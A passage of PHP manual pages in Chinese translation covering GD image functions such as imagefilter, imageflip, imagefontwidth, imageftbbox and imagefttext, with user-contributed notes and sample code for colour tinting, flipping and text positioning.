imagefilter($yourimage, IMG_FILTER_GRAYSCALE); imagefilter($yourimage, IMG_FILTER_COLORIZE, 90, 60, 40);

(...)

?>

I used (90,60,40) for my sepia after couple of tests, however, if you need darker or lighter just check what suits you best.
trucex email over at gmail 14-Feb-2007 12:31
It appears that imagefilter doesn't play nice with apha. If you run an imagefilter on a transparent image it'll return a black image...similar to a lot of Photoshop plugins do.
PanuWorld 14-Jan-2007 06:55
The documentation misses the exact meaning and valid ranges of the arguments for ImageFilter(). According to the 5.2.0 sources the arguments are:
IMG_FILTER_BRIGHTNESS
-255 = min brightness, 0 = no change, +255 = max brightness

IMG_FILTER_CONTRAST
-100 = max contrast, 0 = no change, +100 = min contrast (note the direction!)

IMG_FILTER_COLORIZE
Adds (subtracts) specified RGB values to each pixel. The valid range for each color is -255...+255, not 0...255. The correct order is red, green, blue.
-255 = min, 0 = no change, +255 = max
This has not much to do with IMG_FILTER_GRAYSCALE.

IMG_FILTER_SMOOTH
Applies a 9-cell convolution matrix where center pixel has the weight arg1 and others weight of 1.0. The result is normalized by dividing the sum with arg1 + 8.0 (sum of the matrix).
any float is accepted, large value (in practice: 2048 or more) = no change

ImageFilter seem to return false if the argument(s) are out of range for the chosen filter.
nancy at hypertextdigital dot com 03-Aug-2006 02:16
This routine was just what I was looking for, I wanted web admin users to be able to recolour their uploaded photos (to go with a news item) either a blue tint or sepia to match the appearance of other colours used on the website.

Using a form with a select box containing the RGB values, I can give them the option of either of the two tints or no colourization at all, plus resize their images to the viewing size and a thumbnail image on the fly without having to use any other image editing software.
santibari at fibertel dot com 27-Feb-2006 11:37
A colorize algorithm wich preserves color luminosity (i.e black
will output black, and white will output white).
This works in PHP4 and is great for customizing interfaces
dinamically.

<?php
function colorize($img_src,$img_dest, $r, $g, $b)
{
if(!$im = imagecreatefromgif($img_src))
  return "Could not use image $img_src";

//We will create a monochromatic palette based on
//the input color
//which will go from black to white
//Input color luminosity: this is equivalent to the
//position of the input color in the monochromatic
//palette
$lum_inp=round(255*($r+$g+$b)/765); //765=255*3

//We fill the palette entry with the input color at its
//corresponding position

$pal[$lum_inp]['r']=$r;
$pal[$lum_inp]['g']=$g;
$pal[$lum_inp]['b']=$b;

//Now we complete the palette, first we'll do it to
//the black,and then to the white.

//FROM input to black
//===================
//how many colors between black and input
$steps_to_black=$lum_inp;

//The step size for each component
if($steps_to_black)
 {
 $step_size_red=$r/$steps_to_black;
 $step_size_green=$g/$steps_to_black;
 $step_size_blue=$b/$steps_to_black;
 }

for($i=$steps_to_black;$i>=0;$i--)
 {
 $pal[$steps_to_black-$i]['r']=$r-round($step_size_red*$i);
 $pal[$steps_to_black-$i]['g']=$g-round($step_size_green*$i);
 $pal[$steps_to_black-$i]['b']=$b-round($step_size_blue*$i);
 }

//From input to white:
//===================
//how many colors between input and white
$steps_to_white=255-$lum_inp;

if($steps_to_white)
  {
  $step_size_red=(255-$r)/$steps_to_white;
  $step_size_green=(255-$g)/$steps_to_white;
  $step_size_blue=(255-$b)/$steps_to_white;
  }
 else
  $step_size_red=$step_size_green=$step_size_blue=0;

 //The step size for each component
 for($i=($lum_inp+1);$i<=255;$i++)
  {
  $pal[$i]['r']=$r + round($step_size_red*($i-$lum_inp));
  $pal[$i]['g']=$g + round($step_size_green*($i-$lum_inp));
  $pal[$i]['b']=$b + round($step_size_blue*($i-$lum_inp));
  }
//--- End of palette creation

//Now,let's change the original palette into the one we
//created
for($c = 0; $c < $palette_size; $c++)
 {
 $col = imagecolorsforindex($im, $c);
 $lum_src=round(255*($col['red']+$col['green']
                +$col['blue'])/765);
 $col_out=$pal[$lum_src];
 imagecolorset($im, $c, $col_out['r'],
                                $col_out['g'],
                                $col_out['b']);
 }

 //save the image file
 imagepng($im,$img_dest);
 imagedestroy($im);
}//end function colorize
?>
webmaster at qudi dot de 31-Jan-2006 06:53
for a quick, ok-looking, sepia-effect (also in php4) I just use this little fellow, since a real implementation of sepia was just way too slow.

function pseudosepia(&$im,$percent){
      $sx=imagesx($im);
      $sy=imagesy($im);
      $filter=imagecreatetruecolor($sx,$sy);
      $c=imagecolorallocate($filter,100,50,50);
      imagefilledrectangle($filter,0,0,$sx,$sy,$c);
      imagecopymerge($im,$filter,0,0,0,0,$sx,$sy,$percent);
}
a php user at nowhere dot com 20-Dec-2005 12:48
http://www.hudzilla.org/phpbook/read.php/11_2_15
for more detailed info, and some <i>arg</i> guidelines.
vdepizzol at hotmail dot com 04-Sep-2004 01:36
Examples using imagefilter():

<?php
$im = imagecreatefrompng('dave.png');
if ($im && imagefilter($im, IMG_FILTER_GRAYSCALE)) {
    echo 'Image converted to grayscale.';
    imagepng($im, 'dave.png');
} else {
    echo 'Conversion to grayscale failed.';
}

imagedestroy($im);
?>

/////////////////////////////

<?php
$im = imagecreatefrompng('sean.png');
if ($im && imagefilter($im, IMG_FILTER_BRIGHTNESS, 20)) {
    echo 'Image brightness changed.';
    imagepng($im, 'sean.png');
} else {
    echo 'Image brightness change failed.';
}

imagedestroy($im);
?>

/////////////////////////////

<?php
$im = imagecreatefrompng('philip.png');

/* R, G, B, so 0, 255, 0 is green */
if ($im && imagefilter($im, IMG_FILTER_COLORIZE, 0, 255, 0)) {
    echo 'Image successfully shaded green.';
    imagepng($im, 'philip.png');
} else {
    echo 'Green shading failed.';
}

imagedestroy($im);
?>
kees at tweakers dot net 20-Jul-2004 06:26
From what i have been able to find from this function, it accepts the following arguments:
        IMG_FILTER_NEGATE
        IMG_FILTER_GRAYSCALE
        IMG_FILTER_EDGEDETECT
        IMG_FILTER_GAUSSIAN_BLUR
        IMG_FILTER_SELECTIVE_BLUR
        IMG_FILTER_EMBOSS
        IMG_FILTER_MEAN_REMOVAL

The following arguments need one or more arguments.
        IMG_FILTER_SMOOTH, -1924.124
        IMG_FILTER_COLORIZE, -127.12, -127.98, 127
        IMG_FILTER_CONTRAST, -90
        IMG_FILTER_BRIGHTNESS, 98

I haven't tested them all, the names speak for themselves.


Flips an image using a given mode

  • ? imagefilter
  • imagefontheight ?
  • PHP Manual
  • GD 和图像处理 函数
  • Flips an image using a given mode

imageflip

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

imageflip — Flips an image using a given mode

说明

imageflip(GdImage $image, int $mode): bool

Flips the image image using the given mode.

参数

image

由图象创建函数(例如imagecreatetruecolor())返回的 GdImage 对象。

mode

Flip mode, this can be one of the IMG_FLIP_* constants:

Constant | Meaning
IMG_FLIP_HORIZONTAL | Flips the image horizontally.
IMG_FLIP_VERTICAL | Flips the image vertically.
IMG_FLIP_BOTH | Flips the image both horizontally and vertically.

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | image 现在需要 GdImage 实例；之前需要有效的 gd resource。

示例

Example #1 Flips an image vertically

This example uses the IMG_FLIP_VERTICAL constant.

<?php
// File
$filename = 'phplogo.png';

// Content type
header('Content-type: image/png');

// Load
$im = imagecreatefrompng($filename);

// Flip it vertically
imageflip($im, IMG_FLIP_VERTICAL);

// Output
imagejpeg($im);
imagedestroy($im);
?>

以上示例的输出类似于：

Output of example: Vertically flipped image

Example #2 Flips the image horizontally

This example uses the IMG_FLIP_HORIZONTAL constant.

<?php
// File
$filename = 'phplogo.png';

// Content type
header('Content-type: image/png');

// Load
$im = imagecreatefrompng($filename);

// Flip it horizontally
imageflip($im, IMG_FLIP_HORIZONTAL);

// Output
imagejpeg($im);
imagedestroy($im);
?>

以上示例的输出类似于：

Output of example: Horizontally flipped image

User Contributed Notes

Daniel Klein 04-Feb-2016 01:26
If you're using PHP < 5.5 you can use this code to add the same functionality. If you pass the wrong $mode in it will silently fail. You might want to add your own error handling for this case.

<?php
if (!function_exists('imageflip')) {
  define('IMG_FLIP_HORIZONTAL', 0);
  define('IMG_FLIP_VERTICAL', 1);
  define('IMG_FLIP_BOTH', 2);

  function imageflip($image, $mode) {
    switch ($mode) {
      case IMG_FLIP_HORIZONTAL: {
        $max_x = imagesx($image) - 1;
        $half_x = $max_x / 2;
        $sy = imagesy($image);
        $temp_image = imageistruecolor($image)? imagecreatetruecolor(1, $sy): imagecreate(1, $sy);
        for ($x = 0; $x < $half_x; ++$x) {
          imagecopy($temp_image, $image, 0, 0, $x, 0, 1, $sy);
          imagecopy($image, $image, $x, 0, $max_x - $x, 0, 1, $sy);
          imagecopy($image, $temp_image, $max_x - $x, 0, 0, 0, 1, $sy);
        }
        break;
      }
      case IMG_FLIP_VERTICAL: {
        $sx = imagesx($image);
        $max_y = imagesy($image) - 1;
        $half_y = $max_y / 2;
        $temp_image = imageistruecolor($image)? imagecreatetruecolor($sx, 1): imagecreate($sx, 1);
        for ($y = 0; $y < $half_y; ++$y) {
          imagecopy($temp_image, $image, 0, 0, 0, $y, $sx, 1);
          imagecopy($image, $image, 0, $y, 0, $max_y - $y, $sx, 1);
          imagecopy($image, $temp_image, 0, $max_y - $y, 0, 0, $sx, 1);
        }
        break;
      }
      case IMG_FLIP_BOTH: {
        $sx = imagesx($image);
        $sy = imagesy($image);
        $temp_image = imagerotate($image, 180, 0);
        imagecopy($image, $temp_image, 0, 0, 0, 0, $sx, $sy);
        break;
      }
      default: {
        return;
      }
    }
    imagedestroy($temp_image);
  }
}
?>


获取字体高度

  • ? imageflip
  • imagefontwidth ?
  • PHP Manual
  • GD 和图像处理 函数
  • 获取字体高度

imagefontheight

(PHP 4, PHP 5, PHP 7, PHP 8)

imagefontheight — 获取字体高度

说明

imagefontheight(GdFont|int $font): int

返回指定字体中字符的像素高度。

参数

font

取值对于内建的 latin2 编码字体可以是：1、2、3、4、5(更高的数字对应更大的字体)， 或是通过 imageloadfont() 返回的 GdFont 实例。

返回值

返回字体的像素高度。

更新日志

版本 | 说明
8.1.0 | font 参数现在接受 GdFont 实例和 int，之前仅接受 int。

示例

Example #1 在内置字体上使用 imagefontheight()

<?php
echo 'Font height: ' . imagefontheight(4);
?>

以上示例的输出类似于：

Font height: 16

Example #2 将 imagefontheight() 与 imageloadfont() 一起使用

<?php
// Load a .gdf font
$font = imageloadfont('anonymous.gdf');

echo 'Font height: ' . imagefontheight($font);
?>

以上示例的输出类似于：

Font height: 43

参见

  • imagefontwidth() - 获取字体宽度
  • imageloadfont() - 载入新字体

User Contributed Notes

dev at numist dot net 24-Jan-2005 03:47
This library function is very useful for variable-sized images that only contain text, like this function that I use to output error messages that accumulate and cause a fatal error in my thumbnailer:

<?php
function errimg($error) {
   // $error is an array of error messages, each taking up one line
   // initialization
   $font_size = 2;
   $text_width = imagefontwidth($font_size);
   $text_height = imagefontheight($font_size);
   $width = 0;
   // the height of the image will be the number of items in $error
   $height = count($error);

   // this gets the length of the longest string, in characters to determine
   // the width of the output image
   for($x = 0; $x < count($error); $x++) {
      if(strlen($error[$x]) > $width) {
         $width = strlen($error[$x]);
      }
   }

   // next we turn the height and width into pixel values
   $width = $width * $text_width;
   $height = $height * $text_height;

   // create image with dimensions to fit text, plus two extra rows and
   // two extra columns for border
   $im = imagecreatetruecolor($width + ( 2 * $text_width ),
                              $height + ( 2 * $text_height ) );
   if($im) {
      // image creation success
      $text_color = imagecolorallocate($im, 233, 14, 91);
      // this loop outputs the error message to the image
      for($x = 0; $x < count($error); $x++) {
         // imagestring(image, font, x, y, msg, color);
         imagestring($im, $font_size, $text_width,
                     $text_height + $x * $text_height, $error[$x],
                     $text_color);
      }
      // now, render your image using your favorite image* function
      // (imagejpeg, for instance)
      out($im, array(), $error);
   } else {
      // image creation failed, so just dump the array along with extra error
      $error[] = "Is GD Installed?";
      die(var_dump($error));
   }
}
?>

The function expects an array of error messages to be passed in, and then outputs an image containing the contents of the array.  This is especially useful if your code is contained in an html page that will display rexes if the images do not render correctly.

This function displays the array in image form with index 0 at the top, and the highest index at the bottom.

You have to write out() yourself though, see imagejpeg, imagepng, etc for good ideas on how to write a decent output function.


获取字体宽度

  • ? imagefontheight
  • imageftbbox ?
  • PHP Manual
  • GD 和图像处理 函数
  • 获取字体宽度

imagefontwidth

(PHP 4, PHP 5, PHP 7, PHP 8)

imagefontwidth — 获取字体宽度

说明

imagefontwidth(GdFont|int $font): int

返回字体中字符的像素宽度。

参数

font

取值对于内建的 latin2 编码字体可以是：1、2、3、4、5(更高的数字对应更大的字体)， 或是通过 imageloadfont() 返回的 GdFont 实例。

返回值

返回字体的像素宽度。

更新日志

版本 | 说明
8.1.0 | font 参数现在接受 GdFont 实例和 int，之前仅接受 int。

示例

Example #1 在内置字体上使用 imagefontwidth()

<?php
echo 'Font width: ' . imagefontwidth(4);
?>

以上示例的输出类似于：

Font width: 8

Example #2 将 imagefontwidth() 与 imageloadfont() 一起使用

<?php
// Load a .gdf font
$font = imageloadfont('anonymous.gdf');

echo 'Font width: ' . imagefontwidth($font);
?>

以上示例的输出类似于：

Font width: 23

参见

  • imagefontheight() - 获取字体高度
  • imageloadfont() - 载入新字体

User Contributed Notes

Anonymous 27-Jul-2013 05:18
I've notice that with accented characters (so french !!)
like that:
strlen("cable" * imagefontwidth(FONTSIZE));
this command give a string length bigger than it is in reality
so you have to pass the chain in utf8 decode before

strlen(utf8_decode("cable") * imagefontwidth(FONTSIZE));

that's all (sorry for my english !)
puremango dot co dot uk at gmail dot com 31-Aug-2005 01:26
a function that is faster than ImageFontWidth for certain uses:

<?
function ImageFontWidthByFilename($filename)
{
    $handle = @fopen($font_locations[$i],"r");
    $c_wid = @fread($handle,11);
    @fclose($handle);
    return(ord($c_wid{8})+ord($c_wid{9})+ord($c_wid{10})+ord($c_wid{11}));
}

echo "./font.gdf is ".ImageFontWidthByFilename("./font.gdf")." pixels wide";

?>

reading the widths of 5 different fonts, 500 times, ImageFontWidth took an average of ~0.004 seconds per 5 reads, my function takes ~0.0003 per 5.

The reason is that ImageFontWidth requires a call to ImageLoadFont, but if for some reason you won't need to load the font, just find out the width, this is the function for you :-)

more such wonders at http://puremango.co.uk
dev at numist dot net 24-Jan-2005 03:47
This library function is very useful for variable-sized images that only contain text, like this function that I use to output error messages that accumulate and cause a fatal error in my thumbnailer:

<?php
function errimg($error) {
   // $error is an array of error messages, each taking up one line
   // initialization
   $font_size = 2;
   $text_width = imagefontwidth($font_size);
   $text_height = imagefontheight($font_size);
   $width = 0;
   // the height of the image will be the number of items in $error
   $height = count($error);

   // this gets the length of the longest string, in characters to determine
   // the width of the output image
   for($x = 0; $x < count($error); $x++) {
      if(strlen($error[$x]) > $width) {
         $width = strlen($error[$x]);
      }
   }

   // next we turn the height and width into pixel values
   $width = $width * $text_width;
   $height = $height * $text_height;

   // create image with dimensions to fit text, plus two extra rows and
   // two extra columns for border
   $im = imagecreatetruecolor($width + ( 2 * $text_width ),
                              $height + ( 2 * $text_height ) );
   if($im) {
      // image creation success
      $text_color = imagecolorallocate($im, 233, 14, 91);
      // this loop outputs the error message to the image
      for($x = 0; $x < count($error); $x++) {
         // imagestring(image, font, x, y, msg, color);
         imagestring($im, $font_size, $text_width,
                     $text_height + $x * $text_height, $error[$x],
                     $text_color);
      }
      // now, render your image using your favorite image* function
      // (imagejpeg, for instance)
      out($im, array(), $error);
   } else {
      // image creation failed, so just dump the array along with extra error
      $error[] = "Is GD Installed?";
      die(var_dump($error));
   }
}
?>

The function expects an array of error messages to be passed in, and then outputs an image containing the contents of the array.  This is especially useful if your code is contained in an html page that will display rexes if the images do not render correctly.

This function displays the array in image form with index 0 at the top, and the highest index at the bottom.

You have to write out() yourself though, see imagejpeg, imagepng, etc for good ideas on how to write a decent output function.


通过 freetype2 使用字体给出文本的边界框

  • ? imagefontwidth
  • imagefttext ?
  • PHP Manual
  • GD 和图像处理 函数
  • 通过 freetype2 使用字体给出文本的边界框

imageftbbox

(PHP 4 >= 4.0.7, PHP 5, PHP 7, PHP 8)

imageftbbox — 通过 freetype2 使用字体给出文本的边界框

说明

imageftbbox(
float $size,
float $angle,
string $font_filename,
string $string,
array $options = []
): array|false

此函数计算并返回 FreeType 文本的边界框（以像素为单位）。

Note:

在 PHP 8.0.0 之前，imageftbbox() 是 imagettfbbox() 的扩展变体，它还支持 options。 自 PHP 8.0.0 起，imagettfbbox() 是 imageftbbox() 的别名。

参数

size

字体的尺寸，单位：点（磅）。

angle

测量的 string 的角度（以度为单位）。

font_filename

TrueType 字体文件的名称（可以是 URL）。根据 PHP 使用的 GD 库的版本，可能会尝试搜索没有以"/"开头并会在末尾追加".ttf"的文件名，并沿着库定义的字体路径搜索。

string

要测量的字符串。

options

options 可能的数组索引
键 | 类型 | 含义
linespacing | float | 定义绘制行距

返回值

imageftbbox() 返回包含 8 个元素的数组，代表构成文本边界框的四个点：

0 | 左下角，X 坐标
1 | 左下角，Y 坐标
2 | 右下角，X 坐标
3 | 右下角，Y 坐标
4 | 右上角，X 坐标
5 | 右上角， Y 坐标
6 | 左上角，X 坐标
7 | 左上角，Y 坐标

无论 angle 如何，这些点都是相对于 text，因此"左上角"意味着在左上角水平地看到文本。

失败时，返回 false。

示例

Example #1 imageftbbox() 示例

<?php
// Create a 300x150 image
$im = imagecreatetruecolor(300, 150);
$black = imagecolorallocate($im, 0, 0, 0);
$white = imagecolorallocate($im, 255, 255, 255);

// Set the background to be white
imagefilledrectangle($im, 0, 0, 299, 299, $white);

// Path to our font file
$font = './arial.ttf';

// First we create our bounding box
$bbox = imageftbbox(10, 0, $font, 'The PHP Documentation Group');

// This is our cordinates for X and Y
$x = $bbox[0] + (imagesx($im) / 2) - ($bbox[4] / 2) - 5;
$y = $bbox[1] + (imagesy($im) / 2) - ($bbox[5] / 2) - 5;

imagefttext($im, 10, 0, $x, $y, $black, $font, 'The PHP Documentation Group');

// Output to browser
header('Content-Type: image/png');

imagepng($im);
imagedestroy($im);
?>

注释

Note: 此函数仅在 PHP 编译时加入 freetype 支持时有效（--with-freetype-dir=DIR）。

参见

  • imagefttext() - 使用 FreeType 2 字体将文本写入图像
  • imagettfbbox() - 取得使用 TrueType 字体的文本的边界框

User Contributed Notes

pablocorezzola at gmail dot com 15-Jun-2017 03:23
//EXAMPLE - Center text

function newText($im, $size, $angle= 0, $x, $y, $color, $font, $text,$align = "left",$border=false,$width=0,$height=0){

    if($align == "center")
    {
        if ($border == true ){
           imagerectangle($im, $x, $y, $x +$width, $y + $height, $color);
        }
        $bbox = imageftbbox($size, 0, $font, $text);

        // Marcamos el ancho y alto
        $s_width  = $bbox[4];
        $s_height = $bbox[5];

        $y = $y + ($height-$s_height)/2;
        $x = $x + ($width-$s_width)/2;

    }

    imagettftext($im, $size, $angle, $x, $y, $color, $font, $text);
}
Johan 19-Nov-2007 07:38
For alignment i used this method:

if($align == "center" || $align == "right")
    {
        $verticaltxtspace = $backwidth - (2 * $posx);
        $spacepositions = imagettfbbox($size, $angle, "fonts/verdanaz.ttf", " ");
        $spacepx = $spacepositions[4] - $spacepositions[0];

        // Split text in lines
        $lines = split("[\r][\n]", $text);
        for($count = 0; $count < count($lines); $count++)
        {
            $textpositions = imagettfbbox($size, $angle, "fonts/verdanaz.ttf", $lines[$count]);
            $textpx = $textpositions[2] - $textpositions[0];

            if($align == "right")
            {
                $spaces = ($verticaltxtspace - $textpx) / $spacepx;
            }
            else if($align == "center")
            {
                $spaces = (($verticaltxtspace - $textpx)/2) / $spacepx;
            }

            // Add spaces
            $line = $lines[$count];
            for($i = 0; $i < $spaces; $i++)
            {
                $line = " " . $line;
            }
            $lines[$count] = $line;
        }

        // Create new text of lines
        $text = "";
        for($count = 0; $count < count($lines); $count++)
        {
            $text .= $lines[$count] . "\r\n";
        }
    }

    //    Draw the shadow text on de shadow
    imagettftext($background, $size, $angle, $posx, $posy, $textcolor, "fonts/verdanaz.ttf",  $text);
theo v e -2 28-Dec-2005 07:10
ah... the problem between imageftbbox() and imagefttext() lies in the mirroring of the y-axes.
Below you see, for a font-size 16 the boudingboxes of "b", "p" and "bp":
< b: w=9 h=15
b(0,-1)
b(9,-1)
b(9,-16)
b(0,-16)
< p: w=9 h=16
p(0,4)
p(9,4)
p(9,-12)
p(0,-12)
< bp: w=20 h=20
bp(0,4)
bp(20,4)
bp(20,-16)
bp(0,-16)
If drawing "bp" using imagefttext() at y=0, the the top of "bp" indeed is at y=-16, and the bottom of "bp" at y=4. (Plus or minus a pixel here and there, because at y=0 there actually is a vissible pixel.)
fernando 14-Jul-2005 01:20
imagettfbbox() returns an array with 8 elements representing four points making the bounding box of the text:

0 lower left corner, X position
1 lower left corner, Y position
2 lower right corner, X position
3 lower right corner, Y position
4 upper right corner, X position
5 upper right corner, Y position
6 upper left corner, X position
7 upper left corner, Y position

The points are relative to the text regardless of the angle, so "upper left" means in the top left-hand corner seeing the text horizontally.
groomed at users dot sf dot net 27-May-2004 12:38
ImageFTBBox returns a bounding box, not metrics, as some (most?) of the notes above seem to assume. The 8 values it returns specify the 4 corners of this bounding box. So to properly determine the width and height of a string you need to do:

$bbox = ImageFTBBox(...);
$width = abs($bbox[0]) + abs($bbox[2]); // distance from left to right
$height = abs($bbox[1]) + abs($bbox[5]); // distance from top to bottom
sectionthirty1 at yahoo dot com 22-Apr-2004 02:50
Here is a handy example I used to center "dynamic text" onto an image.

Ex. Say you want to center a clients IP Address onto a picture.

$ip=$_SERVER['REMOTE_ADDR'];

$details = imageftbbox($fontsize, 0, $font, $ip, array("linespacing" => 1));

$xcoord = ($imgwidth - $details[4]) / 2;  // this will return the x coordinate centered to your specific image.  Make sure  you set $imgwidth to the width of the image you are using.

imagettftext($image, $fontsize, 0, $xcoord, $ycoord, $fontcolor, $font, $ip);
ta at NOSPAM dot magicsquare dot info 06-Sep-2002 09:37
i've found a work around for this situation

it seems that height is directly proportional to line spacing so you just have to apply the same factor to image height

for example :

$spacing = 0.7;
$params = array("linespacing" => $spacing);

$box = imageftbbox ($size, 0, $font, $text, $params);
$tw=$box[4]-$box[0]; //image width
$th=($box[1]-$box[5])*$spacing; //image height
phpimageftbbox at juggernaut dot com dot au 14-May-2002 09:56
This function can be used to generate right-aligned text. Just work out how wide the text image is and position it accordingly. Example:

$i_width  = 200;
$i_height = 40;

$string = "Hello World!";
$pointsize = 10;
$fontfile = "/usr/local/lib/ttf/Helve.ttf";

$im = imagecreate($i_width, $i_height);
$black = imagecolorallocate ($im, 0, 0, 0);
$white = imagecolorallocate ($im, 255, 255, 255);

$string_size = ImageFtBbox($pointsize, 0, $fontfile, $string, array("linespacing" => 1));
$s_width  = $string_size[4];
$s_height = $string_size[5];

ImageFtText($im, $pointsize, 0, $i_width - $s_width - 1,  0 - $s_height, $white, $fontfile, $string, array("linespacing" => 1));

Header ("Content-type: image/png");
ImagePNG ($im);
ImageDestroy ($im);


使用 FreeType 2 字体将文本写入图像

  • ? imageftbbox
  • imagegammacorrect ?
  • PHP Manual
  • GD 和图像处理 函数
  • 使用 FreeType 2 字体将文本写入图像

imagefttext

(PHP 4 >= 4.0.7, PHP 5, PHP 7, PHP 8)

imagefttext — 使用 FreeType 2 字体将文本写入图像

说明

imagefttext(
GdImage $image,
float $size,
float $angle,
int $x,
int $y,
int $color,
string $font_filename,
string $text,
array $options = []
): array|false

Note:

在 PHP 8.0.0 之前，imagefttext() 是 imagettftext() 的扩展变体，它还支持 options。 自 PHP 8.0.0 起，imagettftext() 是 imagefttext() 的别名。

参数

image

由图象创建函数(例如imagecreatetruecolor())返回的 GdImage 对象。

size

字体的尺寸，单位：点（磅）。

angle

以度为单位的角度，0 度表示从左到右阅读文本。较高的值表示逆时针旋转。例如，值为 90 将导致从下到上阅读文本。

x

x 和 y 给出的坐标将定义第一个字符的基点（大致是字符的左下角）。 这与 imagestring() 不同，其中 x 和 y 定义第一个字符的左上角。例如，"左上角"是 0, 0。

y

y 坐标。设置字体基线的位置，而不是字符的最底部。

color

文本所需颜色的索引，请参阅 imagecolorexact()。

font_filename

希望使用的 TrueType 字体的路径。

根据 PHP 使用的 GD 库版本，当 font_filename 不以 / 开头时，将追加 .ttf 到文件名末尾，库将尝试沿着库定义的字体路径搜索该文件名。

在许多情况下，字体与使用的脚本位于同一目录中，以下技巧将缓解任何包含问题。

<?php
// 设置 GD 的环境变量
putenv('GDFONTPATH=' . realpath('.'));

// Name the font to be used (note the lack of the .ttf extension)
$font = 'SomeFont';
?>

text

要插入到图像中的文本。

options

options 可能的数组索引
键 | 类型 | 含义
linespacing | float | 定义绘制行距

返回值

这个函数返回数组，定义了盒子的四个点，从左下角开始逆时针移动：

0 | 左下 x 坐标
1 | 左下 y 坐标
2 | 右下 x 坐标
3 | 右下 x 坐标
4 | 右上 x 坐标
5 | 右上 x 坐标
6 | 左上 x 坐标
7 | 左上 y 坐标

失败时返回 false。

更新日志

版本 | 说明
8.0.0 | image 现在需要 GdImage 实例；之前需要有效的 gd resource。

示例

Example #1 imagefttext() 示例

<?php
// Create a 300x100 image
$im = imagecreatetruecolor(300, 100);
$red = imagecolorallocate($im, 0xFF, 0x00, 0x00);
$black = imagecolorallocate($im, 0x00, 0x00, 0x00);

// Make the background red
imagefilledrectangle($im, 0, 0, 299, 99, $red);

// Path to our ttf font file
$font_file = './arial.ttf';

// Draw the text 'PHP Manual' using font size 13
imagefttext($im, 13, 0, 105, 55, $black, $font_file, 'PHP Manual');

// Output image to the browser
header('Content-Type: image/png');

imagepng($im);
imagedestroy($im);
?>

注释

Note: 此函数仅在 PHP 编译时加入 freetype 支持时有效（--with-freetype-dir=DIR）。

参见

  • imageftbbox() - 通过 freetype2 使用字体给出文本的边界框
  • imagettftext() - 用 TrueType 字体向图像写入文本

User Contributed Notes

php@davehirschD0TK0MM 07-Jun-2010 12:47
I'm not sure if this is a PHP issue or an GD issue, but after upgrading to PHP 5.3.2, text written at an angle has become top-justified (so "N" and "n" have the same top, but the bottom of the "N" is lower than the bottom of the "n".  I've written a kludgy work-around, which writes the text to a non-rotated temporary image, then copies the temporary image, rotated onto the main image.  The kludginess is to get around the fact that I can't seem to extract the font info, particularly the distance between the baseline and the very bottom (I've hard-coded it as 30% of the font size)
I hope the bug can be fixed (if it is indeed a bug) or that others can improve this code:

<?php
    // Function that draws rotated text by creating a temporary image and rotating it, since rotated text appears to be busted
    function imageTextRotated($image, $size, $angle, $x, $y, $inColor, $fontfile, $text, $info=array()) {
//        Force some demo text that contains risers and descenders:
//        $text = "Nlfbacejygq!";

        $bbox = imageftbbox($size, 0, $fontfile, $text, $info);
        $dropdown = $size*0.3;
        $xsize = abs($bbox[2] - $bbox[0]);
        $ysize = abs($bbox[5] - $bbox[3]);
        $tmpImage = imagecreatetruecolor($xsize*1.25, $ysize*1.25);        // need the extra space to accommodate risers and descenders
        $transparent = imagecolorallocate($tmpImage, 255, 255, 154);
        if (!$transparent) {
            error_log("Color allocate failed");
        }
        imagecolortransparent($tmpImage, $transparent);
        if (!imagefill($tmpImage, 0, $ysize, $transparent)) {
            error_log("Fill failed");
        }
        $rgb = imagecolorsforindex($image, $inColor);
        $color = imagecolorexact($tmpImage, $rgb['red'], $rgb['green'], $rgb['blue']);
        if ($color == -1) {
            $color = imagecolorallocate($tmpImage, $rgb['red'], $rgb['green'], $rgb['blue']);
            if (!$color) {
                error_log("Color allocate 2 failed");
            }
        }

        $newbbox = imagefttext($tmpImage, $size, 0, 0, $ysize*1.0, $color, $fontfile, $text, $info);
        $tmpImage = imagerotate($tmpImage, $angle, $transparent);
        $newWidth = imagesx($tmpImage);
        $newHt = imagesy($tmpImage);
        imagecopymerge($image, $tmpImage, $x-$newWidth+$dropdown, $y-$newHt, 0, 0, $newWidth, $newHt, 100);

//        Highlight the desired starting point (baseline) with a green dot:
//        $green = imagecolorallocate($image, 0, 251, 0);
//        imagefilledellipse($image, $x, $y, 10, 10, $green);
        imagedestroy($tmpImage);
?>

-Dave
KeepSake at crimebloc dot com 17-Sep-2009 09:05
For a design project I am required to have spacing between characters; since imagefttext does not support this feature I have created a function which does support this.

The arguments are identical to imagefttext, accept that (array)$extrainfo now accepts the 'character_spacing' spacing parameter. The return values are as expected, and include the image boundaries of the entire string including the character spacing.

The downside is that $angle rotates each letter instead of rotating the entire word (could be seen as a feature on its own).

I hope this is of some use to someone.
- KeepSake

<?php
// Required header (assuming we use png images)
header("Content-type: image/png");

// Create a basic image with a dark background.
$image = imagecreatetruecolor(300, 20);
imagefill($image, 0, 0, imagecolorallocate($image, 21, 21, 21));

// Function call, arguments are the same as imagefttext, expect that (array)$extrainfo takes a new paramenter called character_spacing.
$imageBox = imagefttext2($image, 9, 0, 2, 15, imagecolorallocate($image, 255, 255, 255), 'tahomabold.ttf', 'The quick brown fox...', array('character_spacing' => 5));

// Output the file, and clear the resources
imagepng($image);
imagedestroy($image);

function imagefttext2($imageResource, $font_size, $text_angle, $start_x, $start_y, $color, $font_file, $text, $extra_info = array()) {
    if($extra_info['character_spacing'] == NULL || !is_numeric($extra_info['character_spacing'])) {
        $extra_info['character_spacing'] = 0;
    }
    $lastX = $start_x - $extra_info['character_spacing'];
    foreach(str_split($text) as $v) {
        $coordinates = imagefttext($imageResource, $font_size, $text_angle, $lastX + $extra_info['character_spacing'], $start_y, $color, $font_file, $v, $extra_info);
        $lastX = max($coordinates[2], $coordinates[4]);
    }
    // Return the newly generated image box coordinates:
    return array($start_x, $start_y, $coordinates[2], $coordinates[3], $coordinates[4], $coordinates[5], $start_x, $coordinates[7]);
}

?>
d underscore brown x at hotmail dot 24-Nov-2007 10:26
realpath(".")
realpath(getenv("SCRIPT_FILENAME"));

could be different.  This helped when setting GDFONTPATH.
darren at badpun dot co dot uk 29-Mar-2007 01:58
I had trouble working out how to accurately represent fonts in point sizes when constructing charts that had a user-customisable output DPI (basically, the user could specify the size of the chart in mm - or any other physical measure - and the DPI to create arbitrarily-sized charts to work properly in real printed documents).

